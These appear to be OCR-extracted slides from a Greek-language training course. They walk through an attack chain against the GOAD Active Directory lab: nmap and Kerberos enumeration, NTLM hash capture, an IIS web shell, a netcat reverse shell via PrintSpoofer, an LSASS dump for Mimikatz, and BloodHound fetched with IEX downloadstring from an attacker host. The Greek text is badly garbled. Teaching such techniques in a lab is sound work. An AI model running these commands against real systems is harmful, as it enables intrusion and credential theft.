Windows Server 2019 - no defender ADCS - ESSOS-CA o
MSSQL + execute as + rusted ink &
essos\khal.drogo

1IS + upioad ASP
MSSQL + execute as + rusted link
essos.local mapping_msaqi_irus

— north.sevenkingdoms.local

north\jeor.mormont admn
mapping_msscf_trust

Ja

north\jon. snow

essos\jorah.mormont

CyberSecPro



Aoun AD

H oceipd AD cyber aroteieiton otnv mpaypatikdtnTe amwd
TEVTE ELKOVIKA UNYOVIIULATO (EUKOVIKA UM YOV LLOTO):

kingslanding: DCO1 o Windows Server 2019 (pe
antevepyomomuévo to windefender and mtpoemirioyn)

winterfell: DCO02 mov exteieiton o Windows
Server 2019 (amevepyomompuévo to windefender and
TPOETIAOYN)

castelblack: (ue amevepyomompuévo tov windefender
oItO TPOETIAOYT)

meereen: (ue amevepyomompuévo to windefender

a7td TPOETTL (Uﬁg ) _
braavos: SRVO03 mov tpéxel oe Windows Server 2016 (ue

windefender amevepyomompuévn and TpoemAoyn)




AD IlepiBarrov-IIpocapupocuévo

sevenkingdons\robert . baratheon
domain adwin_

°0
north\eddard. stark -

bot Smin (LLANR query) aa rop
N\robb_stark Somin’adein

0 (LLMHR query)

narth\catelyn.stark

e

DO0L - Kingslanding
192 168.56.10
Viindows Server 2019

sevenkingdoms.local

GOAD

Microsoft Sentinel

Nignt wanch

. 2
2 / IS + wica ASP

& / e ik

) e B north.sevenkingdoms.local

orthyisar.

raag_pam
magpg_mazal_tnuzx

A

northyjon. snow

SRV3 - beaavas
1021685623

A
MSSQL + execute as + vusied Ik

essos\khal . drogd

A

@ss0s\jorah, marnont

essos.local




KvYkhog Conc enibeong oto GOAD

ToKTKES KOWVOVIKNG UNYOAVIKNG TTOV YPTNOCLOTOI0VVTOL Yo TNV Topafiocn
Aroyapracpov/amroroyicprov VPN

Avayvmplon ¥prHoTn Kol KEVTPUCOV VITOAOYIGTY Y10 TT] GVAAOYY] TANPOPOPLOV

Alod1kocio €YKATAGTACTG KOl EKTEAECTG EPAPLOYDV GE
nepdriov tapaymyng oe eEvmnpetntn Castelblack yia
OTTOLLOKPVOUEVO EAEYYO

Anuovpyic LUGTIKOV LETOYMV OUKTVOV Y10 TNV TTaPEdocn KakOBovAov Aoyicut
KAubkmon mpovopiov pécwm gvnddeiag tov PrintSpoofer

E&aywyn pvAung pe xpnon tov Mimikatz yio tnv amdéxtnon

gvaicONTOV StamcteLTNPI®V



Kvkloc Cong eniBeonc oto GOAD-
Apyikn avayvopion

nmap -Pn -p- -sC -5V -oA full_scan_goad

Mmap scan repart for 192.1468.546.11

Host is up (0.0076s latency).

Mot shown: 65517 filtered tcp ports (no-response)

FORT STATE SERVICE WVERSIOM

53ftcp open domain Simple DWS Plus

B8/tcp open kerberos-sec Microsoft Windows Kerberos (server fime: 2023-05-13 13:43:312)

135/tfcp open msrpc microsoft Windows RPC

139/fcp open nefbios-ssn Microsoft Windows netbios-ssn

389/tcp open |dap mMicrosoft windows Active Directory LDAP |[Domdin: sevenkingdoms.locald.,
Site: Default-First-3ite-Name|

445/tcp open microsoff-ds?2

48dftcp open kpasswd5s®

s36f/tcp open fcpwrapped

3268/tcp open |daop microsoft wWindows Active Directory LDAP |[Domdin: sevenkingdoms.locall.,
Site: Default-First-3ite-Name|

3269/tcp open tcpwrapped

3387/tcp open ms-wbt-server Microsoft Terminal Services

JPB&/tcp open sElfhttp Microsaft HTTPAFRI hitpd 2.0 [SSDP/UPNP)
P389/tcp open mc-nmf {MET Message Framing

49670/tcp open ncacn_http  Microsoft Windows BPC aver HTTF 1.0
49671 ffcp open msrpc Microsoft Windows RPC

49676/fcp open msrpc Microsoft Windows RPC

49677 ffcp open mspc Microsoft Windows RPC

49715/fcp open msrpc Microsoft Windows RPC




KvYkhog Cong enibeong oto GOAD- Apyikn
aAVOYVOPLoN

nmag -Pn - -sC -5V -o0A full_scan_goad

Nmap scan repart for 192.1568.546.11

Host is up (0.007 85 latency).

Not shown: 45517 filtered tcp ports [(no-response)

FORT STATE SERVICE WERSION

S3ftep open domain Simple DMS Plus

BBftcp open kerberos-sec Microsoft Windows Kerberos (server fime: 2023-05-13 13:43:311)
135/tfcp open msrpc Microsoft Windows RPC

13%/tcp open netbios-ssn Microsoft Windows netbios-ssn

389ftcp open ldap microsoft Windows Active Directory LDAP |[Domdin: sevenkingdoms.locall.,
Site: Default-First-3ite-Name)

445/tcp open microsoff-dse

464/tcp open kpasswdse

a3aftcp open fcpwrapped

3268/tcp open ldap mMicrosoft Windows Active Directory LDAP (Domain: sevenkingdoms.locall.,
Site: Default-First-Site-Name|)

3269 /tcp open tcpwrapped

338%9Mfcp open me-whbit-server Microsoft Terminal Services

5786f/tcp open ssifhitp ticrosaft HTTRPAPI hitpd 2.0 [S5DP/UPNP)

P38%/tcp open mo-nmf .MET Message Framing

49670/fcp open ncacn_hitp  Microsoft Windows RPC over HTTP 1.0

AQ87 tep open msrpc Microsoft Windows RPC

49876/fcp open marpc Microsoft Windows RPC

49877 [fcp open merpc Microsoft Windows RPC

49715/fcp open marnpc Microsoft Windows RPC

: II"




KvYkhog Cong enibeong oto GOAD- Apyikn

aAVOYVOPLoN

nmap -Pn -p- -sC -sV -0A full_scan_goad

Nmap scan report for 192.168.56.12
Host is up (0.011s latency).
Not shown: 65513 filtered fcp ports (no-response)

PORT
S3/tcp
88/icp

STATE SERVICE VERSION
open domain Simple DNS Plus
open kerberos-sec Microsoft Windows Kerberos (server time; 2023-05-13 13:43:346Z)

135/tcp open msrpc Microsoft Windows RPC
13%/tcp open netbios-ssn Microsoft Windows netbios-ssn
38%9/tcp open ldap Microsoft Windows Acftive Directory LDAP (Domain: essos.local, Site: Default-

First-Site-Name)

445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds (workgroup: ESSOS)
464/tcp open kpasswd5?

5%93/tcp open ncacn_htip Microsoft Windows RPC over HTTP 1.0

First-Site-Name)
3268/tcp open
First-Site-Name)

636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-
Idap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-
ssl/ldap Microsoft Windows Active Directory LDAP (Domain: essos.local, Site: Default-

3269/tcp open
First-Site-Name)
3389/tcp open
5985/tcp open
5986/tcp open
9389/tcp open
49666/tcp open
494667 [tcp open
49669 /tcp open
49670/tcp open
49672 /tcp open
494686/tcp open
55372/tcp open

ms-wit-server Microsoft Terminal Services

http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPNP)
mec-nmf .NET Message Framing

msrpc Microsoft Windows RPC

msrpc Microsoft Windows RPC

ncacn_http  Microsoft Windows RPC over HTIP 1.0
msrpc Microsoft Windows RPC

msrpc Microsoft Windows RPC

msrpc Microsoft Windows RPC

msrpc Microsoft Windows RPC

Service Info: Host: MEEREEN; OS: Windows; CPE: cpe:/o:microsoft:windows




KvYkhog Cong enibeong oto GOAD- Apyikn

aAVOYVOPLoN

nmap -Pn -p- -=C sV -0é full_scan_goad

Mmap scan report for 192.1458.56 22

Host is up (0.01 3s latency).

Mot shown: 45528 filtered tep ports (no-response)

PORT STATE SERVICE WERSION

80/tcp apen hitp Miicrosoft 113 hitpd 10.0
| _hittp-server-neader: Microsoft-I15/10.0

| http-methods:

| _ Potentially risky methods: TRACE

| _hitp-title: Site doesn't have a title [text/himil).

135/tcp open mspc Miicrosoft Windows RPC
13%/tcp ocpen netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds?

3389/tcp open ms-whi-server Microsoft Teminal Services
5984/Mtcp open sslf/http Microscft HTTPAPI hitpd 2.0 [S5DP/UPQP)
49449 fcp open marpc Microsoft Windows RPC

service Info: O8: Windows; CPE: cpe/omicrosoffzwindows

Mmop scan report for 192.1458.56 23

Host is up (0.0070s latency).

Mot shown: 45525 filtered tep ports (no-response]

PORT STATE SERVICE WERSIOMN

B0ftcp open hitp Miicrosoft 115 hitpd 10.0
| _http-title: 15 Windows Server

| http-methods:

| _ Potentially risky methods: TRACE

| _http-server-header Microscft-I5/10.0

135/tcp open msrpc miicrosoft Windows RPC
13%/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds Windows Server 201 6 Standard Evaluation 14393 microsoff-ds

1433/tcp open ms-5ql-5 Microsoft 3GL Server 2019 15.00.2000.00; ETh
3389/tcp open ms-whi-server Microscft Teminal 3ervices

5985/tcp open hilp Microsoft HTTPAPI hitpd 2.0 [S5DP/UPRP)
S¥84/tcp open sslfhtip Microsoft HTTPAP| hitpd 2.0 (S5DP/UPQP)

49448fcp open marpc Microsoft Windows RPC
49779 fcp open marpc Microsoft Windows RPC
Service Info: Ofs: Windows, Windows Server 2008 E2 - 201 2; CPE: cpefomicroscftowindows




KvYkhog Cong enibeong oto GOAD- Apyikn
aAVOYVOPLoN

AmapidOunon ovopatog ypiotn pe ypiion Kerberos:
nmap -T2 -p 88 --script=krb5-enum-users --script-args ="krb5
enum-users.realm ='north.sevenkingdoms.local’,
userdb=got_users.txt" 192.168.56.11

1 Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-24 23:34 EEST

2 Nmap scan report for h92.168.56.11

3 Host is up (0.0032s latency).

4

5 PORT STATE SERVICE

6 88/tcp open kerberos-sec

7 | krb5-enum-users:

8 | Discovered Kerberos principals
hodorgnorth.sevenkingdoms.local
jeor.mormontgnorth.sevenkingdoms.local
rickon.starkgnorth.sevenkingdoms.local
catelyn.starkgnorth.sevenkingdoms.local
samwell.tarlygnorth.sevenkingdoms.local
jon.snowgnorth.sevenkingdoms.local
sansa.starkgnorth.sevenkingdoms.local
robb.starkgnorth.sevenkingdoms.local
arya.starkgnorth.sevenkingdoms.local

19 Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
20



Kvkhioc Cong enibBeong oto GOAD-

Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacn-11S Server

O A& 192.168.56.22

“ C o
-3) Import bookmarks... Kali Linux #8 Kali Tools # KaliDocs ¥ Kali Forums X Kali NetHunter

iis apppool\defaultapppool

Command: !whoami

Avoliyel To 9iKTVO Y10 EMTIOEPNEVOVS KAl GUVOEETAL ATTO TOV VTOAOYLGTI-O0 0

[sudajﬁﬁassword for chris

-[~/GOAD
/] S acket/ex rver. share /home/ch

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*]
[*]
[*]
[*]
[*]
[*]
[*]

[*]
[*]
[*]

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188
Callback added for UUID 6BFFD898-A112-3610-9833-46C3F87E345A
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.56.22,49706)
AUTHENTICATE_MESSAGE (NORTH\CASTELBLACK$,CASTELBLACK)

User CASTELBLACK\CASTELBLACK$ authenticated successfully
CASTELBLACK$ :: NORTH: aaaaaaaaaaaaaaaa:d1935a8c9311f58a6ec53eab3807892a:010100000000000000eb642d2b9ad9013865d46b83fa3e2

\'H
v:

jexcute\

&

-3) Import bookmarks...

The command completed

C @

Kali Linux

successfully.

O
S

& 192.168.56.22

Kali Tools = KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Go

Command: |net use X:1110.0.8 2\share | lexeute]

1000000000100100043007300560079005400440051004100030010004300730056007900540044005100410002001000430061006b00510078005900
59006c0004001000430061006b0051007800590059006c000700080000eb642d2b%9ad9010600040002000000080030003000000000000000000000000
03000001bc0450bce1fed3be68118d543005809e0c96a76dbd@5dece304b326df819d4b0a0010000000000000000000000000000000000009001a0063
006900660073002100310030002e0030002e0038002c0032000000000000000000

[*]
[*]
[*]
[*]
[*]
[*]

Connecting Share(1:IPC$)

NetrShareEnum Level: 1

NetrServerGetInfo Level: 101

Disconnecting Share(1:IPC$)

Closing down connection (192.168.56.22,49706)
Remaining connections []




Kvkioc Comg eniBeong oto GOAD-

Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacn-11S Server

O A& 192.168.56.22

“ C o
-3) Import bookmarks... Kali Linux #8 Kali Tools # KaliDocs ¥ Kali Forums X Kali NetHunter

iis apppool\defaultapppool

Command: !whoami

Avoliyel To 9iKTVO Y10 EMTIOEPNEVOVS KAl GUVOEETAL ATTO TOV VTOAOYLGTI-O0 0

[sudajﬁﬁassword for chris

-[~/GOAD
/] S acket/ex rver. share /home/ch

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*]
[*]
[*]
[*]
[*]
[*]
[*]

[*]
[*]
[*]

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188
Callback added for UUID 6BFFD898-A112-3610-9833-46C3F87E345A
Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.56.22,49706)
AUTHENTICATE_MESSAGE (NORTH\CASTELBLACK$,CASTELBLACK)

User CASTELBLACK\CASTELBLACK$ authenticated successfully
CASTELBLACK$ :: NORTH: aaaaaaaaaaaaaaaa:d1935a8c9311f58a6ec53eab3807892a:010100000000000000eb642d2b9ad9013865d46b83fa3e2

\'H
v:

jexcute\

&

-3) Import bookmarks...

The command completed

C @

Kali Linux

successfully.

O
S

& 192.168.56.22

Kali Tools = KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Go

Command: |net use X:1110.0.8 2\share | lexeute]

1000000000100100043007300560079005400440051004100030010004300730056007900540044005100410002001000430061006b00510078005900
59006c0004001000430061006b0051007800590059006c000700080000eb642d2b%9ad9010600040002000000080030003000000000000000000000000
03000001bc0450bce1fed3be68118d543005809e0c96a76dbd@5dece304b326df819d4b0a0010000000000000000000000000000000000009001a0063
006900660073002100310030002e0030002e0038002c0032000000000000000000

[*]
[*]
[*]
[*]
[*]
[*]

Connecting Share(1:IPC$)

NetrShareEnum Level: 1

NetrServerGetInfo Level: 101

Disconnecting Share(1:IPC$)

Closing down connection (192.168.56.22,49706)
Remaining connections []




Kvkioc Comg eniBeong oto GOAD-
Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacn-11S Server

Epyoleio emmiOipevov og diktvo, 6m®c Winpeas, printspoofer k.Am.

-3) Import bookmarks... Kali Linux # Kali Tools = KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google

Volume in drive X has no label. O
Volume Serial Number is ABCD-EFAA Command: | , !_excutel

Directory of X:\

05/24/2023 06:29
05/15/2023 ©3:59
06/06/2023 ©06:40
05/24/2023 01:31
06/06/2023 ©08:03
06/08/2023 10:19
05/24/2023 06:34
05/14/2023 ©01:20
05/24/2023 ©06:57
05/13/2023 06:52
05/13/2023 ©06:52
05/24/2023 01:37
05/15/2023 ©06:00
05/13/2023 03:35
05/24/2023 01:42
05/13/2023 ©06:52
05/24/2023 ©01:34
06/08/2023 10:12
05/24/2023 ©07:46
16/05/2022 06:02
06/06/2023 ©7:41
06/08/2023 10:19

7,168 shell-x64.exe
1,400 cmdasp.aspx
103 north.sevenkingdoms users.txt
1,001 got users.txt
<DIR> sprayhound
59,392 nc.exe
1,105,985 Invoke-SweetPotato.psl
3,836 shell.aspx
<DIR> Microsoft
15,725 full scan_goad.nmap
120,717 full scan_goad.xml
427 essos.local users.txt
62,548 winpeas.txt
8,159 pfSense-UDP4-1194-vpnuserl-config (2).ovpn
593 sevenkingdoms.local users.txt
5,600 full scan_goad.gnmap
683 north.sevenkingdoms.local users.nmap
1,259 Inveight.txt
347,648 JuicyPotato.exe
768,000 Inveigh.exe
1,271 khal.drogo.ccache
27,136 PrintSpoofer.exe
05/15/2023 ©05:26 35,946 winPEAS.bat
05/15/2023 ©3:53 1,181 cmd-asp-5.1.asp
22 File(s) 2,583,970 bytes
2 Dir(s) 0 bytes free
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Kvkioc Comg eniBeong oto GOAD-
Anuiovpyla EPEIGUATOG-APYLIKN
nopoPiacn-11S Server

Tomuk1 KMPAK®G TPOVOUI®V avIiypoapo
X:\nc.exe C:\tmp\nc.exe rlwrap nc -lvnp 1337
X:\PrintSpoofer.exe -c "c:\tmp\nc.exe 10.0.8.2 1337 -e cmd"

— )~ [ ~/GOAD
— - 1337
listening on [any] 1337 ...
connect to [10.0.8.2] from (UNKNOWN) [192.168.56.22] 49780
Microsoft Windows [Version 10.0.17763.4377]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>]]




Kvkhioc Cong enibBeong oto GOAD-
EvykaBidpvon gpeicuatoc-KAipdkmon
TTPOVOUL®OV

Amoondote T pvijun Dump g dwwdkaciog LSASS km
Kotev0Overe To Mimikatz etov kevrpiké vroroyioT.

PS Q:\> tasklist
tasklist

Image Name Session Name Session# Mem Usage

System Idle Process Services
System Services
Registry Services
SMSS.exe Services
CSrss.exe Services
wininit.exe Services
CSIrss.exe Console
winlogon.exe Console
services.exe Services
lsass.exe Services
svchost.exe Services
fontdrvhost. Services
fontdrvhost. Console
svchost.exe Services
svchost.exe Services
svchost.exe Services
LogonUI.exe Console
dwm.exe Console

0
%)
0
(4]
0
0
1
1
0
(%)
0
0
1
0
0
0
1
1
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Kvkioc Comg eniBeong oto GOAD-
EvykaBidpvon gpeicuatoc-KAipdkmon
TTPOVOUL®OV

net use Q: \live.sysinternals\tools

PS Q:\> .\procdump64.exe -accepteula -ma 624 C:\tmp\lsass.dmp
.\procdump64.exe -accepteula -ma 624 C:\tmp\lsass.dmp

ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[12:46:46] Dump 1 initiated: C:\tmp\lsass.dmp

[12:46:46] Dump 1 writing: Estimated dump file size is 48 MB.
[12:46:46] Dump 1 complete: 49 MB written in 0.4 seconds
[12:46:46] Dump count reached.

net use Q: \\live.sysinternals\tools
ECayoyn pvijung dmp kot AMyn KOKOV Tpésfacng eKToOS 6UvVIEsC.

EvoilokTikd, ypnoypomouote To share tov ypijotn System oto pnyovipa
emTi0€pevou ko KotevOvvere To Mimikatz amgvBeiog 6tov vToroyioTi) TOV
Ovparoc.




Post Exploitation - Ecotepikn
avoyvopion: BloodHound

msf6 post( > run

Using URL: http://10.0.8.2:8080/iAHAUIDWA
Loading BloodHound with: IEX (new-object net.webclient).downloadstring('http://10.0.8.2:8080/iAHAUIDWA" )
ng BloodHound with: Invoke-BloodHound -OutputDirectory \Windows\TEMP™ -ZipFileName lpjlhjdap -MemCache -ZipPassword vtojnxsbccpkgfpylap

06-09T11:43:45.3232764-07:00| INFORMATION| This version of SharpHound is compatible with the 4.2 Release of BloodHound
. 00| INFORMATION |Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets,

.4480502-07:00| INFORMATION| Initia ng SharpHound at 11:43 AM on 6/9/2023
.6671216-07:00| INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
878-07:00 | INFORMATION |Beginning LDAP search for north.sevenkingdoms.local
14-07:00| INFORMATION| Producer has finished, closing LDAP channel
14-07:00| INFORMATION|LDAP channel closed, waiting for consumers
80-07:00| INFORMATION|Status: @ objects finished (+0 0)/s — Using 79 MB RAM
00| INFORMATION | Consumers finished, closing output channe
00| INFORMATION|Output channel closed, waiting for output task to complete
Closing writer
2023-06-09T11:44:27. 00| INFORMATION | Status: 109 objects finished (+109 2.595238)/s — Using 86 MB RAM
.9631015-07:00| INFORMATION| Enumeration finished in 00:00:42.1441988
.0414085-07:00| INFORMATION|Saving cache with stats: 71 ID to type mappings.
ID mappings.
machine sid mappings.
4 sid to domain mappings.
0 global catalog mapping
MATION|SharpHound Enumeration Completed at 11:44 AM on 6/9/2023! Happy Graphing!
schema soft.com/powershell/2004/04"><0bj rogress” RefId 0"><T>System.Management . Automation.PSCustom0
ourceld”>1</I64><PR for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PCr1</PC><T>Comple
ted</T><SR—1</SR><SD> </SD></ S></ <0bj S="progress” RefId="1" N="SourceId">2</I64><PR N="Record"><AV>Preparing modules for first
use.</AV><AT>0</AI><Nil /><PI>1 ><PC—1</PC><T>Completed</T><SR—1</S < </0bj></Objs>
[+] Downloaded C:\Windows\TEMP\20230609114427_lpjlhjdap.zip: /home/chris/.msf4/100t/20230609214516_default_192.168.56.22_windows.ad.blood_106379.zip
[+] Zip password: vtojnxsbccpkgfpylap
Server stopped.
Post module execution completed
msf6 post( )

e
>

DOMAIN ADMINS@NORTHL SEVENKIN!
§-1-5-21-2294779534-532453541-35991

EDDARD.STARK@NORTH,SEVENKINGDOMS LOCAL

ADMlNiSTRATOR@NORT}iSEVENKINGDOMS.LOCAL

CATELYN.STARK@NORTHSEVEN >

VAGRANT@NORTH.S|

CN=ENTERPRISE ADMINS,CN=USERS DC=SEVENKINGDOMS,

WINTERFELL NORTH SEVENKINGDOMS LOCAL

ROBB STARK@NORTH.SEVENKINGDOMS LOCAL
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